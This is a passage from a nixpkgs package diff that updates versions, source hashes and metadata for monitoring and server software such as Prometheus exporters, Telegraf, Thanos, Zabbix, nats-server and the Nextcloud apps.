"sha256-+CCUSI7Rh9fENzsg7rpI01Cm++kafd1nGgpyFRt20Ug="; }; - vendorHash = "sha256-ikWxTHmqHFWAReKMf6LFza/bhkcfxa4euXUixKPvcpQ="; + vendorHash = "sha256-CQ7JvXcutj63UzaYk/jbmd9G2whN48Xv1PCllaI9Nuo="; subPackages = [ "." ]; diff --git a/pkgs/servers/monitoring/prometheus/default.nix b/pkgs/servers/monitoring/prometheus/default.nix index 01945f08ccdf4..b511faf42fb64 100644 --- a/pkgs/servers/monitoring/prometheus/default.nix +++ b/pkgs/servers/monitoring/prometheus/default.nix @@ -31,10 +31,10 @@ }: let - version = "2.49.0"; + version = "2.49.1"; webUiStatic = fetchurl { url = "https://github.com/prometheus/prometheus/releases/download/v${version}/prometheus-web-ui-${version}.tar.gz"; - hash = "sha256-VchnXJ+WBHDywjwXtsT4q8CZLnGHkMbcU7MpShe5d78="; + hash = "sha256-cHMzu7/WquRvbCUlAs4U6PrLP4PAigdYOyNbvxNoeIA="; }; in buildGoModule rec { @@ -47,7 +47,7 @@ buildGoModule rec { owner = "prometheus"; repo = "prometheus"; rev = "v${version}"; - hash = "sha256-l8gjOrDCQbglXc3wVvN4BriW9qw9sPVXmlYr6VVRXas="; + hash = "sha256-cqUyjRL+T7ARGcUWMCaeWMo7DR1gvPp08maNz9a3RG0="; }; vendorHash = "sha256-fDT7YrnUfS93yseo+1mLrSGPBewm7CpcHPCz1kxM6Uo="; diff --git a/pkgs/servers/monitoring/prometheus/dmarc-metrics-exporter/default.nix b/pkgs/servers/monitoring/prometheus/dmarc-metrics-exporter/default.nix index d4d2d48a0bbc1..2b2c5354ca1c8 100644 --- a/pkgs/servers/monitoring/prometheus/dmarc-metrics-exporter/default.nix +++ b/pkgs/servers/monitoring/prometheus/dmarc-metrics-exporter/default.nix @@ -5,7 +5,7 @@ python3.pkgs.buildPythonApplication rec { pname = "dmarc-metrics-exporter"; - version = "0.10.1"; + version = "1.0.0"; disabled = python3.pythonOlder "3.8"; @@ -15,7 +15,7 @@ python3.pkgs.buildPythonApplication rec { owner = "jgosmann"; repo = "dmarc-metrics-exporter"; rev = "refs/tags/v${version}"; - hash = "sha256-gur0+2yHqxySXECMboW7dAyyf0ckSdS0FEy7HvA5Y5w="; + hash = "sha256-pT2GGoNPCHBZZbbBE93cJjgogBNcdpvLmrVakNMu6tY="; }; pythonRelaxDeps = true; @@ -29,6 +29,7 @@ python3.pkgs.buildPythonApplication rec { bite-parser dataclasses-serialization prometheus-client + structlog uvicorn xsdata ] diff --git a/pkgs/servers/monitoring/prometheus/exportarr/default.nix b/pkgs/servers/monitoring/prometheus/exportarr/default.nix index 1d56a749f33a6..00b4690c5619d 100644 --- a/pkgs/servers/monitoring/prometheus/exportarr/default.nix +++ b/pkgs/servers/monitoring/prometheus/exportarr/default.nix @@ -6,16 +6,16 @@ buildGoModule rec { pname = "exportarr"; - version = "1.6.1"; + version = "2.0.0"; src = fetchFromGitHub { owner = "onedr0p"; repo = "exportarr"; rev = "v${version}"; - hash = "sha256-i5ia9GX/0wvLnIwSxZ50y3fTFHwkUzj00+NoEceXp84="; + hash = "sha256-hUgi50BFmtJfp/rNUA8QGYSflfSMANbelPndL7zV7v8="; }; - vendorHash = "sha256-2gzHX7XHzgvZXWm7mfakxnsRfpEysQwnZ0mJocLyyoA="; + vendorHash = "sha256-Hy8OXFmGTxNlwbRjH05npD2p3avQfWk9k29R5sFKlNI="; subPackages = [ "cmd/exportarr" ]; diff --git a/pkgs/servers/monitoring/prometheus/fastly-exporter.nix b/pkgs/servers/monitoring/prometheus/fastly-exporter.nix index 0659ead43ccc4..ba2d5217e3440 100644 --- a/pkgs/servers/monitoring/prometheus/fastly-exporter.nix +++ b/pkgs/servers/monitoring/prometheus/fastly-exporter.nix @@ -1,22 +1,31 @@ -{ lib, buildGoModule, fetchFromGitHub }: +{ lib +, buildGoModule +, fetchFromGitHub +, nixosTests +}: buildGoModule rec { pname = "fastly-exporter"; version = "7.6.1"; src = fetchFromGitHub { - owner = "peterbourgon"; - repo = pname; + owner = "fastly"; + repo = "fastly-exporter"; rev = "v${version}"; - sha256 = "sha256-JUbjWAJ70iq0RCr6U2thbtZ3nmCic9wGtSf2ArRy4uA="; + hash = "sha256-JUbjWAJ70iq0RCr6U2thbtZ3nmCic9wGtSf2ArRy4uA="; }; vendorHash = "sha256-lEaMhJL/sKNOXx0W+QHMG4QUUE6Pc4AqulhgyCMQQNY="; + passthru.tests = { + inherit (nixosTests.prometheus-exporters) fastly; + }; + meta = with lib; { description = "Prometheus exporter for the Fastly Real-time Analytics API"; - homepage = "https://github.com/peterbourgon/fastly-exporter"; + homepage = "https://github.com/fastly/fastly-exporter"; license = licenses.asl20; maintainers = teams.deshaw.members; + mainProgram = "fastly-exporter"; }; } diff --git a/pkgs/servers/monitoring/prometheus/knot-exporter.nix b/pkgs/servers/monitoring/prometheus/knot-exporter.nix index d51d9bd3f79cc..f15dc626e59f7 100644 --- a/pkgs/servers/monitoring/prometheus/knot-exporter.nix +++ b/pkgs/servers/monitoring/prometheus/knot-exporter.nix @@ -6,13 +6,13 @@ python3.pkgs.buildPythonApplication rec { pname = "knot-exporter"; - version = "3.3.4"; + version = "3.3.5"; pyproject = true; src = fetchPypi { pname = "knot_exporter"; inherit version; - hash = "sha256-jZNNJiJxq3pNSZFwu2UEHhrA0odIDY0UO+d4PJII1ZI="; + hash = "sha256-7r4zXqomiszDrplMedEyw2ZQ2NwDTf54EOwnsLc5RJ0="; }; nativeBuildInputs = [ diff --git a/pkgs/servers/monitoring/prometheus/statsd-exporter.nix b/pkgs/servers/monitoring/prometheus/statsd-exporter.nix index ca650c53475db..201ec3a32e361 100644 --- a/pkgs/servers/monitoring/prometheus/statsd-exporter.nix +++ b/pkgs/servers/monitoring/prometheus/statsd-exporter.nix @@ -14,6 +14,18 @@ buildGoModule rec { hash = "sha256-C7+4v40T667KJHEQ3ebLDg2wJNrxD/nossfT6rMlER8="; }; + ldflags = + let + t = "github.com/prometheus/common/version"; + in + [ "-s" "-w" + "-X ${t}.Version=${version}" + "-X ${t}.Revision=unknown" + "-X ${t}.Branch=unknown" + "-X ${t}.BuildUser=nix@nixpkgs" + "-X ${t}.BuildDate=unknown" + ]; + vendorHash = "sha256-scBpRZeECgAtpu9lnkIk1I2c8UmAkEL8LYNPUeUNYto="; meta = with lib; { diff --git a/pkgs/servers/monitoring/telegraf/default.nix b/pkgs/servers/monitoring/telegraf/default.nix index b7c8cb2fcb9ef..1345b3acc1d23 100644 --- a/pkgs/servers/monitoring/telegraf/default.nix +++ b/pkgs/servers/monitoring/telegraf/default.nix @@ -8,7 +8,7 @@ buildGoModule rec { pname = "telegraf"; - version = "1.29.4"; + version = "1.29.5"; subPackages = [ "cmd/telegraf" ]; @@ -16,10 +16,10 @@ buildGoModule rec { owner = "influxdata"; repo = "telegraf"; rev = "v${version}"; - hash = "sha256-XhGP5q0LbXaTgClZvRFV1Zjpi1mizoyFrzI7vobVaUo="; + hash = "sha256-yVxpUKEmy7pllZQq6A0zIDekewh4BQX+/kaeLcZ2aLg="; }; - vendorHash = "sha256-DdE2r0M9/6aaq5c3m0AT82TNyIP2vBsaFCRP2um0hao="; + vendorHash = "sha256-amcI5X/xLOjItraG+twsv7sn5ei3mkZsclEd4TGiXwM="; proxyVendor = true; ldflags = [ diff --git a/pkgs/servers/monitoring/thanos/default.nix b/pkgs/servers/monitoring/thanos/default.nix index a1e7c4add953a..76e87f8a0a7b4 100644 --- a/pkgs/servers/monitoring/thanos/default.nix +++ b/pkgs/servers/monitoring/thanos/default.nix @@ -10,16 +10,16 @@ buildGoModule rec { pname = "thanos"; - version = "0.34.0"; + version = "0.34.1"; src = fetchFromGitHub { owner = "thanos-io"; repo = "thanos"; rev = "refs/tags/v${version}"; - hash = "sha256-mbDjp8GAkFMkQnLd64A/nbYA/EIA4HpY6EshdDV+b1U="; + hash = "sha256-AynKxORgO8fY8KAhzyIeHCw2MI2se5eHSPn0kt1RJq4="; }; - vendorHash = "sha256-ZAPaGDt+TnBUEng5EYIBNHN/o+gpaLzAO4kuSjx9S8U="; + vendorHash = "sha256-4IT3YeGXSEzC0z+rC2yQCY9QQZeXxpMtJM/4/kINn3s="; doCheck = true; diff --git a/pkgs/servers/monitoring/vmagent/default.nix b/pkgs/servers/monitoring/vmagent/default.nix index 875a28e0217bb..74b2a2de096d9 100644 --- a/pkgs/servers/monitoring/vmagent/default.nix +++ b/pkgs/servers/monitoring/vmagent/default.nix @@ -1,13 +1,13 @@ { lib, fetchFromGitHub, buildGoModule }: buildGoModule rec { pname = "vmagent"; - version = "1.96.0"; + version = "1.99.0"; src = fetchFromGitHub { owner = "VictoriaMetrics"; repo = "VictoriaMetrics"; rev = "v${version}"; - sha256 = "sha256-/YS0IDUdGIT3QuRbD+5c3VOqrzYvbcZefLSd+tYJ6dY="; + sha256 = "sha256-IHUmxdCOzvA2JL06k/ei6/OTVWHTL1TiKKYZB1hgqyA="; }; ldflags = [ "-s" "-w" "-X github.com/VictoriaMetrics/VictoriaMetrics/lib/buildinfo.Version=${version}" ]; diff --git a/pkgs/servers/monitoring/zabbix/agent.nix b/pkgs/servers/monitoring/zabbix/agent.nix index 4aaeb9f103d6d..3f1d80ca4df91 100644 --- a/pkgs/servers/monitoring/zabbix/agent.nix +++ b/pkgs/servers/monitoring/zabbix/agent.nix @@ -1,13 +1,13 @@ { lib, stdenv, fetchurl, pkg-config, libiconv, openssl, pcre }: -import ./versions.nix ({ version, sha256, ... }: +import ./versions.nix ({ version, hash, ... }: stdenv.mkDerivation { pname = "zabbix-agent"; inherit version; src = fetchurl { url = "https://cdn.zabbix.com/zabbix/sources/stable/${lib.versions.majorMinor version}/zabbix-${version}.tar.gz"; - inherit sha256; + inherit hash; }; nativeBuildInputs = [ pkg-config ]; diff --git a/pkgs/servers/monitoring/zabbix/agent2.nix b/pkgs/servers/monitoring/zabbix/agent2.nix index 718522c8fccf2..374a137297f10 100644 --- a/pkgs/servers/monitoring/zabbix/agent2.nix +++ b/pkgs/servers/monitoring/zabbix/agent2.nix @@ -1,13 +1,13 @@ { lib, buildGoModule, fetchurl, autoreconfHook, pkg-config, libiconv, openssl, pcre, zlib }: -import ./versions.nix ({ version, sha256, vendorHash ? throw "unsupported version ${version} for zabbix-agent2", ... }: +import ./versions.nix ({ version, hash, vendorHash ? throw "unsupported version ${version} for zabbix-agent2", ... }: buildGoModule { pname = "zabbix-agent2"; inherit version; src = fetchurl { url = "https://cdn.zabbix.com/zabbix/sources/stable/${lib.versions.majorMinor version}/zabbix-${version}.tar.gz"; - inherit sha256; + inherit hash; }; modRoot = "src/go"; diff --git a/pkgs/servers/monitoring/zabbix/proxy.nix b/pkgs/servers/monitoring/zabbix/proxy.nix index f9088e682bdbd..b287ef56c76fb 100644 --- a/pkgs/servers/monitoring/zabbix/proxy.nix +++ b/pkgs/servers/monitoring/zabbix/proxy.nix @@ -15,14 +15,14 @@ assert sqliteSupport -> !mysqlSupport && !postgresqlSupport; let inherit (lib) optional optionalString; in - import ./versions.nix ({ version, sha256, ... }: + import ./versions.nix ({ version, hash, ... }: stdenv.mkDerivation { pname = "zabbix-proxy"; inherit version; src = fetchurl { url = "https://cdn.zabbix.com/zabbix/sources/stable/${lib.versions.majorMinor version}/zabbix-${version}.tar.gz"; - inherit sha256; + inherit hash; }; nativeBuildInputs = [ pkg-config ]; diff --git a/pkgs/servers/monitoring/zabbix/server.nix b/pkgs/servers/monitoring/zabbix/server.nix index 3cffedd5aeb0f..5abf6a93d55d5 100644 --- a/pkgs/servers/monitoring/zabbix/server.nix +++ b/pkgs/servers/monitoring/zabbix/server.nix @@ -16,14 +16,14 @@ assert postgresqlSupport -> !mysqlSupport; let inherit (lib) optional optionalString; in - import ./versions.nix ({ version, sha256, ... }: + import ./versions.nix ({ version, hash, ... }: stdenv.mkDerivation { pname = "zabbix-server"; inherit version; src = fetchurl { url = "https://cdn.zabbix.com/zabbix/sources/stable/${lib.versions.majorMinor version}/zabbix-${version}.tar.gz"; - inherit sha256; + inherit hash; }; nativeBuildInputs = [ autoreconfHook pkg-config ]; diff --git a/pkgs/servers/monitoring/zabbix/versions.nix b/pkgs/servers/monitoring/zabbix/versions.nix index d6d7adfb395a5..6fe89a17c357f 100644 --- a/pkgs/servers/monitoring/zabbix/versions.nix +++ b/pkgs/servers/monitoring/zabbix/versions.nix @@ -1,18 +1,13 @@ generic: { v60 = generic { - version = "6.0.21"; - sha256 = "sha256-hdKPI5UEQvF/URH2eLWW32az3LMEse3UXIELOsfvwzk="; + version = "6.0.26"; + hash = "sha256-MIOKe5hqfDecB1oWZKzbFmJCsQLuAGtp21l2WxxVG+g="; vendorHash = null; }; v50 = generic { - version = "5.0.37"; - sha256 = "sha256-+C5fI+eMJKsynVnVJIYj27x1iFQwaG9Fnho0BXgENQI="; - vendorHash = "sha256-oSZBzIUL1yHXk7PnkSAlhI0i89aGMFrFHmbMN9rDAJ0="; - }; - - v40 = generic { - version = "4.0.48"; - sha256 = "sha256-WK8Zzkd/s9M7N5Qr2kejtp/f/n1wb5zRSfh0RiI2K+Q="; + version = "5.0.41"; + hash = "sha256-pPvw0lPoK1IpsXc5c8Qu9zFhx2oHJz2bwiX80vrYa58="; + vendorHash = "sha256-qLDoNnEFiSrWXbLtYlmQaqY8Rv6JaG8WbMYBlry5Evc="; }; } diff --git a/pkgs/servers/monitoring/zabbix/web.nix b/pkgs/servers/monitoring/zabbix/web.nix index cbd095e234cca..7267e3046dd7f 100644 --- a/pkgs/servers/monitoring/zabbix/web.nix +++ b/pkgs/servers/monitoring/zabbix/web.nix @@ -1,13 +1,13 @@ { lib, stdenv, fetchurl, writeText }: -import ./versions.nix ({ version, sha256, ... }: +import ./versions.nix ({ version, hash, ... }: stdenv.mkDerivation rec { pname = "zabbix-web"; inherit version; src = fetchurl { url = "https://cdn.zabbix.com/zabbix/sources/stable/${lib.versions.majorMinor version}/zabbix-${version}.tar.gz"; - inherit sha256; + inherit hash; }; phpConfig = writeText "zabbix.conf.php" '' diff --git a/pkgs/servers/mqtt/flashmq/default.nix b/pkgs/servers/mqtt/flashmq/default.nix index eb4c607b7804d..4603ffbda0c88 100644 --- a/pkgs/servers/mqtt/flashmq/default.nix +++ b/pkgs/servers/mqtt/flashmq/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "flashmq"; - version = "1.8.4"; + version = "1.9.1"; src = fetchFromGitHub { owner = "halfgaar"; repo = "FlashMQ"; rev = "v${version}"; - hash = "sha256-CMZim7FSTzjUaViVFq5OABOAUX3Aee+I3/HQhNIdIVM="; + hash = "sha256-LxmD/NfD4OJR77erwRnHoe6VRiytqzMlWvRtgY8RD94="; }; nativeBuildInputs = [ cmake installShellFiles ]; diff --git a/pkgs/servers/nats-server/default.nix b/pkgs/servers/nats-server/default.nix index d3e55fa008054..ae556728d3b3c 100644 --- a/pkgs/servers/nats-server/default.nix +++ b/pkgs/servers/nats-server/default.nix @@ -6,16 +6,16 @@ buildGoModule rec { pname = "nats-server"; - version = "2.10.10"; + version = "2.10.11"; src = fetchFromGitHub { owner = "nats-io"; repo = pname; rev = "v${version}"; - hash = "sha256-9iV3zw0PtncI6eJNJlQ9cCAIFWA2w+sKk0kH7fpQyOo="; + hash = "sha256-fRbjAqu1tFLUUk7aeIkEifcWkDUhNCbVZ957b2ntD+o="; }; - vendorHash = "sha256-uhEjZcp3y+nFEChb2/Ac/eolOuJxF4WpAjKtXsfpRaw="; + vendorHash = "sha256-lVCWTZvzLkYl+o+EUQ0kzIhgl9C236w9i3RRA5o+IAw="; doCheck = false; diff --git a/pkgs/servers/nextcloud/default.nix b/pkgs/servers/nextcloud/default.nix index 63f7162fc5d61..6745fc87dda8f 100644 --- a/pkgs/servers/nextcloud/default.nix +++ b/pkgs/servers/nextcloud/default.nix @@ -43,20 +43,20 @@ let }; in { nextcloud26 = generic { - version = "26.0.11"; - hash = "sha256-Vc0QCCy495oYeRnpWaYwc4Nf4D/ko4VsODoKcS7YADA="; + version = "26.0.12"; + hash = "sha256-fuTAIAJB9pRfMd0Ewh19FmY0Vj4MuH1iMkkS1BiTI0w="; packages = nextcloud26Packages; }; nextcloud27 = generic { - version = "27.1.6"; - hash = "sha256-rntyt/xSWsSXmMLeaml6TP8ls0ly1p1GmVmIXTNRvvo="; + version = "27.1.7"; + hash = "sha256-hEPi0bsojcQU+q0Kb+/i41uznt0359pcXzTexsDdG+s="; packages = nextcloud27Packages; }; nextcloud28 = generic { - version = "28.0.2"; - hash = "sha256-3jTWuvPszqz90TjoVSDNheHSzmeY2f+keKwX6x76HQg="; + version = "28.0.3"; + hash = "sha256-ntQTwN4W9bAzzu/8ypnA1h/GmNvrjbhRrJrfnu+VGQY="; packages = nextcloud28Packages; }; diff --git a/pkgs/servers/nextcloud/notify_push.nix b/pkgs/servers/nextcloud/notify_push.nix index 10ec5a6c65899..2322c4f7eac35 100644 --- a/pkgs/servers/nextcloud/notify_push.nix +++ b/pkgs/servers/nextcloud/notify_push.nix @@ -25,6 +25,10 @@ rustPlatform.buildRustPackage rec { buildAndTestSubdir = "test_client"; cargoHash = "sha256-OUALNd64rr2qXyRNV/O+pi+dE0HYogwlbWx5DCACzyk="; + + meta = meta // { + mainProgram = "test_client"; + }; }; tests = { inherit (nixosTests.nextcloud) diff --git a/pkgs/servers/nextcloud/packages/26.json b/pkgs/servers/nextcloud/packages/26.json index 7bdbb87ffb68e..99fd50c6bff59 100644 --- a/pkgs/servers/nextcloud/packages/26.json +++ b/pkgs/servers/nextcloud/packages/26.json @@ -10,9 +10,9 @@ ] }, "calendar": { - "sha256": "06blkrgc9jq8zizgchn8az2cj0s3yy8s05kyhiwj1nb1rx32682j", - "url": "https://github.com/nextcloud-releases/calendar/releases/download/v4.6.4/calendar-v4.6.4.tar.gz", - "version": "4.6.4", + "sha256": "18mi6ccq640jq21hmir35v2967h07bjv226072d9qz5qkzkmrhss", + "url": "https://github.com/nextcloud-releases/calendar/releases/download/v4.6.5/calendar-v4.6.5.tar.gz", + "version": "4.6.5", "description": "The Calendar app is a user interface for Nextcloud's CalDAV server. Easily sync events from various devices with your Nextcloud and edit them online.\n\n* 🚀 **Integration with other Nextcloud apps!** Currently Contacts - more to come.\n* 🌐 **WebCal Support!** Want to see your favorite team’s matchdays in your calendar? No problem!\n* 🙋 **Attendees!** Invite people to your events\n* ⌚️ **Free/Busy!** See when your attendees are available to meet\n* ⏰ **Reminders!** Get alarms for events inside your browser and via email\n* 🔍 Search! Find your events at ease\n* ☑️ Tasks! See tasks with a due date directly in the calendar\n* 🙈 **We’re not reinventing the wheel!** Based on the great [c-dav library](https://github.com/nextcloud/cdav-library), [ical.js](https://github.com/mozilla-comm/ical.js) and [fullcalendar](https://github.com/fullcalendar/fullcalendar) libraries.", "homepage": "https://github.com/nextcloud/calendar/", "licenses": [ @@ -20,9 +20,9 @@ ] }, "contacts": { - "sha256": "1wq6xj9r1f2raqhpj222269y8dkn5zx9mnw7zrbxwpz8c67s3h6n", - "url": "https://github.com/nextcloud-releases/contacts/releases/download/v5.5.1/contacts-v5.5.1.tar.gz", - "version": "5.5.1", + "sha256": "0g6pbzm7bxllpkf9jqkrb3ys8xvbmayxc3rqwspalzckayjbz98m", + "url": "https://github.com/nextcloud-releases/contacts/releases/download/v5.5.2/contacts-v5.5.2.tar.gz", + "version": "5.5.2", "description": "The Nextcloud contacts app is a user interface for Nextcloud's CardDAV server. Easily sync contacts from various devices with your Nextcloud and edit them online.\n\n* 🚀 **Integration with other Nextcloud apps!** Currently Mail and Calendar – more to come.\n* 🎉 **Never forget a birthday!** You can sync birthdays and other recurring events with your Nextcloud Calendar.\n* 👥 **Sharing of Adressbooks!** You want to share your contacts with your friends or coworkers? No problem!\n* 🙈 **We’re not reinventing the wheel!** Based on the great and open SabreDAV library.", "homepage": "https://github.com/nextcloud/contacts#readme", "licenses": [ @@ -50,9 +50,9 @@ ] }, "deck": { - "sha256": "1vf4vmwzfyj5ylb571h1wgh8f3aiivzla11y14ggikg5fj9lgyqi", - "url": "https://github.com/nextcloud-releases/deck/releases/download/v1.9.6/deck-v1.9.6.tar.gz", - "version": "1.9.6", + "sha256": "0b6glilrv1cyn9gfka093hdkq4cmln3p6fkz502y6lk8xa98giga", + "url": "https://github.com/nextcloud-releases/deck/releases/download/v1.9.7/deck-v1.9.7.tar.gz", + "version": "1.9.7", "description": "Deck is a kanban style organization tool aimed at personal planning and project organization for teams integrated with Nextcloud.\n\n\n- 📥 Add your tasks to cards and put them in order\n- 📄 Write down additional notes in Markdown\n- 🔖 Assign labels for even better organization\n- 👥 Share with your team, friends or family\n- 📎 Attach files and embed them in your Markdown description\n- 💬 Discuss with your team using comments\n- ⚡ Keep track of changes in the activity stream\n- 🚀 Get your project organized", "homepage": "https://github.com/nextcloud/deck", "licenses": [ @@ -90,9 +90,9 @@ ] }, "forms": { - "sha256": "143paalwm44vd9sa9ql30q986bm9z8kr39ky5hvcfai52w1ysrjq", - "url": "https://github.com/nextcloud-releases/forms/releases/download/v3.4.5/forms-v3.4.5.tar.gz", - "version": "3.4.5", + "sha256": "1nwsbl3lh0s4if4665b1z7nf7r62chazfb5g3fdrlffrrrqbdj4y", + "url": "https://github.com/nextcloud-releases/forms/releases/download/v3.4.6/forms-v3.4.6.tar.gz", + "version": "3.4.6", "description": "**Simple surveys and questionnaires, self-hosted!**\n\n- **📝 Simple design:** No mass of options, only the essentials. Works well on mobile of course.\n- **📊 View & export results:** Results are visualized and can also be exported as CSV in the same format used by Google Forms.\n- **🔒 Data under your control!** Unlike in Google Forms, Typeform, Doodle and others, the survey info and responses are kept private on your instance.\n- **🧑💻 Connect to your software:** Easily integrate Forms into your service with our full-fledged [REST-API](https://github.com/nextcloud/forms/blob/main/docs/API.md).\n- **🙋 Get involved!** We have lots of stuff planned like more question types, collaboration on forms, [and much more](https://github.com/nextcloud/forms/milestones)!", "homepage": "https://github.com/nextcloud/forms", "licenses": [ @@ -110,9 +110,9 @@ ] }, "groupfolders": { - "sha256": "00z9n3l3pd212x02zfnmf15fk67whf0a3j395pg68lg4b8w4lyly", - "url": "https://github.com/nextcloud-releases/groupfolders/releases/download/v14.0.6/groupfolders-v14.0.6.tar.gz", - "version": "14.0.6", + "sha256": "19j2iqn3fjlzcswgbxwvxggzqc3aili8br4vjpr8dd9h1rzm453y", + "url": "https://github.com/nextcloud-releases/groupfolders/releases/download/v14.0.7/groupfolders-v14.0.7.tar.gz", + "version": "14.0.7", "description": "Admin configured folders shared with everyone in a group.\n\nFolders can be configured from *Group folders* in the admin settings.\n\nAfter a folder is created, the admin can give access to the folder to one or more groups, control their write/sharing permissions and assign a quota for the folder.\n\nNote: Encrypting the contents of group folders is currently not supported.", "homepage": "https://github.com/nextcloud/groupfolders", "licenses": [ @@ -140,9 +140,9 @@ ] }, "mail": { - "sha256": "15268xavb4wpkc12anz6wiry87hvy55nf141lc660wr22iivy79r", - "url": "https://github.com/nextcloud-releases/mail/releases/download/v3.5.5/mail-v3.5.5.tar.gz", - "version": "3.5.5", + "sha256": "122qyz6d9771ivpl771g5wi3lxsd2g3v64n9cp5clm8p662msjfi", + "url": "https://github.com/nextcloud-releases/mail/releases/download/v3.5.7/mail-v3.5.7.tar.gz", + "version": "3.5.7", "description": "**💌 A mail app for Nextcloud**\n\n- **🚀 Integration with other Nextcloud apps!** Currently Contacts, Calendar & Files – more to come.\n- **📥 Multiple mail accounts!** Personal and company account? No problem, and a nice unified inbox. Connect any IMAP account.\n- **🔒 Send & receive encrypted mails!** Using the great [Mailvelope](https://mailvelope.com) browser extension.\n- **🙈 We’re not reinventing the wheel!** Based on the great [Horde](https://horde.org) libraries.\n- **📬 Want to host your own mail server?** We do not have to reimplement this as you could set up [Mail-in-a-Box](https://mailinabox.email)!\n\n## Ethical AI Rating\n\n### Priority Inbox\n\nPositive:\n* The software for training and inferencing of this model is open source.\n* The model is created and trained on-premises based on the user's own data.\n* The training data is accessible to the user, making it possible to check or correct for bias or optimise the performance and CO2 usage.\n\n### Thread Summaries (opt-in)\n\n**Rating:** 🟢/🟡/🟠/🔴\n\nThe rating depends on the installed text processing backend. See [the rating overview](https://docs.nextcloud.com/server/latest/admin_manual/ai/index.html) for details.\n\nLearn more about the Nextcloud Ethical AI Rating [in our blog](https://nextcloud.com/blog/nextcloud-ethical-ai-rating/).", "homepage": "https://github.com/nextcloud/mail#readme", "licenses": [ @@ -270,9 +270,9 @@ ] }, "spreed": { - "sha256": "0da0c6a30pfwpn4ly4dczxs68v2jmi9kzmqhrpj4fvaalsk1wa7w", - "url": "https://github.com/nextcloud-releases/spreed/releases/download/v16.0.10/spreed-v16.0.10.tar.gz", - "version": "16.0.10", + "sha256": "1d04y6jjhk41ghykqwxca4vmjlpn8cwlabqd9hjsccr2845gksad", + "url": "https://github.com/nextcloud-releases/spreed/releases/download/v16.0.11/spreed-v16.0.11.tar.gz", + "version": "16.0.11", "description": "Chat, video & audio-conferencing using WebRTC\n\n* 💬 **Chat integration!** Nextcloud Talk comes with a simple text chat. Allowing you to share files from your Nextcloud and mentioning other participants.\n* 👥 **Private, group, public and password protected calls!** Just invite somebody, a whole group or send a public link to invite to a call.\n* 💻 **Screen sharing!** Share your screen with participants of your call. You just need to use Firefox version 66 (or newer), latest Edge or Chrome 72 (or newer, also possible using Chrome 49 with this [Chrome extension](https://chrome.google.com/webstore/detail/screensharing-for-nextclo/kepnpjhambipllfmgmbapncekcmabkol)).\n* 🚀 **Integration with other Nextcloud apps** like Files, Contacts and Deck. More to come.\n\nAnd in the works for the [coming versions](https://github.com/nextcloud/spreed/milestones/):\n* ✋ [Federated calls](https://github.com/nextcloud/spreed/issues/21), to call people on other Nextclouds", "homepage": "https://github.com/nextcloud/spreed", "licenses": [ @@ -320,9 +320,9 @@ ] }, "user_oidc": { - "sha256": "0iyd1lkzfl7nh2sy5k9a6p86mswm5p0cyqj3ia613sw2fm49sl1b", - "url": "https://github.com/nextcloud-releases/user_oidc/releases/download/v1.3.6/user_oidc-v1.3.6.tar.gz", - "version": "1.3.6", + "sha256": "06w6r1cmrahh9kr6rxc3nmy9q4m8fmf6afwgkvah3xixqnq04iwb", + "url": "https://github.com/nextcloud-releases/user_oidc/releases/download/v5.0.1/user_oidc-v5.0.1.tar.gz", + "version": "5.0.1", "description": "Allows flexible configuration of an OIDC server as Nextcloud login user backend.", "homepage": "https://github.com/nextcloud/user_oidc", "licenses": [ diff --git a/pkgs/servers/nextcloud/packages/27.json b/pkgs/servers/nextcloud/packages/27.json index 4e76a413fa1f2..9d29448b95282 100644 --- a/pkgs/servers/nextcloud/packages/27.json +++ b/pkgs/servers/nextcloud/packages/27.json @@ -10,9 +10,9 @@ ] }, "calendar": { - "sha256": "06blkrgc9jq8zizgchn8az2cj0s3yy8s05kyhiwj1nb1rx32682j", - "url": "https://github.com/nextcloud-releases/calendar/releases/download/v4.6.4/calendar-v4.6.4.tar.gz", - "version": "4.6.4", + "sha256": "18mi6ccq640jq21hmir35v2967h07bjv226072d9qz5qkzkmrhss", + "url": "https://github.com/nextcloud-releases/calendar/releases/download/v4.6.5/calendar-v4.6.5.tar.gz", + "version": "4.6.5", "description": "The Calendar app is a user interface for Nextcloud's CalDAV server. Easily sync events from various devices with your Nextcloud and edit them online.\n\n* 🚀 **Integration with other Nextcloud apps!** Currently Contacts - more to come.\n* 🌐 **WebCal Support!** Want to see your favorite team’s matchdays in your calendar? No problem!\n* 🙋 **Attendees!** Invite people to your events\n* ⌚️ **Free/Busy!** See when your attendees are available to meet\n* ⏰ **Reminders!** Get alarms for events inside your browser and via email\n* 🔍 Search! Find your events at ease\n* ☑️ Tasks! See tasks with a due date directly in the calendar\n* 🙈 **We’re not reinventing the wheel!** Based on the great [c-dav library](https://github.com/nextcloud/cdav-library), [ical.js](https://github.com/mozilla-comm/ical.js) and [fullcalendar](https://github.com/fullcalendar/fullcalendar) libraries.", "homepage": "https://github.com/nextcloud/calendar/", "licenses": [ @@ -20,9 +20,9 @@ ] }, "contacts": { - "sha256": "1wq6xj9r1f2raqhpj222269y8dkn5zx9mnw7zrbxwpz8c67s3h6n", - "url": "https://github.com/nextcloud-releases/contacts/releases/download/v5.5.1/contacts-v5.5.1.tar.gz", - "version": "5.5.1", + "sha256": "0g6pbzm7bxllpkf9jqkrb3ys8xvbmayxc3rqwspalzckayjbz98m", + "url": "https://github.com/nextcloud-releases/contacts/releases/download/v5.5.2/contacts-v5.5.2.tar.gz", + "version": "5.5.2", "description": "The Nextcloud contacts app is a user interface for Nextcloud's CardDAV server. Easily sync contacts from various devices with your Nextcloud and edit them online.\n\n* 🚀 **Integration with other Nextcloud apps!** Currently Mail and Calendar – more to come.\n* 🎉 **Never forget a birthday!** You can sync birthdays and other recurring events with your Nextcloud Calendar.\n* 👥 **Sharing of Adressbooks!** You want to share your contacts with your friends or coworkers? No problem!\n* 🙈 **We’re not reinventing the wheel!** Based on the great and open SabreDAV library.", "homepage": "https://github.com/nextcloud/contacts#readme", "licenses": [ @@ -50,9 +50,9 @@ ] }, "deck": { - "sha256": "1bl7x3h91rcjd3xx8lq2rkx8khpw5f3n0kqi8mrs88hw0hin8sdi", - "url": "https://github.com/nextcloud-releases/deck/releases/download/v1.11.3/deck-v1.11.3.tar.gz", - "version": "1.11.3", + "sha256": "0h5dspj6cvhc5q69xqxp6y36c6h659nf7zk9zrhksc2fjvvdmzwz", + "url": "https://github.com/nextcloud-releases/deck/releases/download/v1.11.4/deck-v1.11.4.tar.gz", + "version": "1.11.4", "description": "Deck is a kanban style organization tool aimed at personal planning and project organization for teams integrated with Nextcloud.\n\n\n- 📥 Add your tasks to cards and put them in order\n- 📄 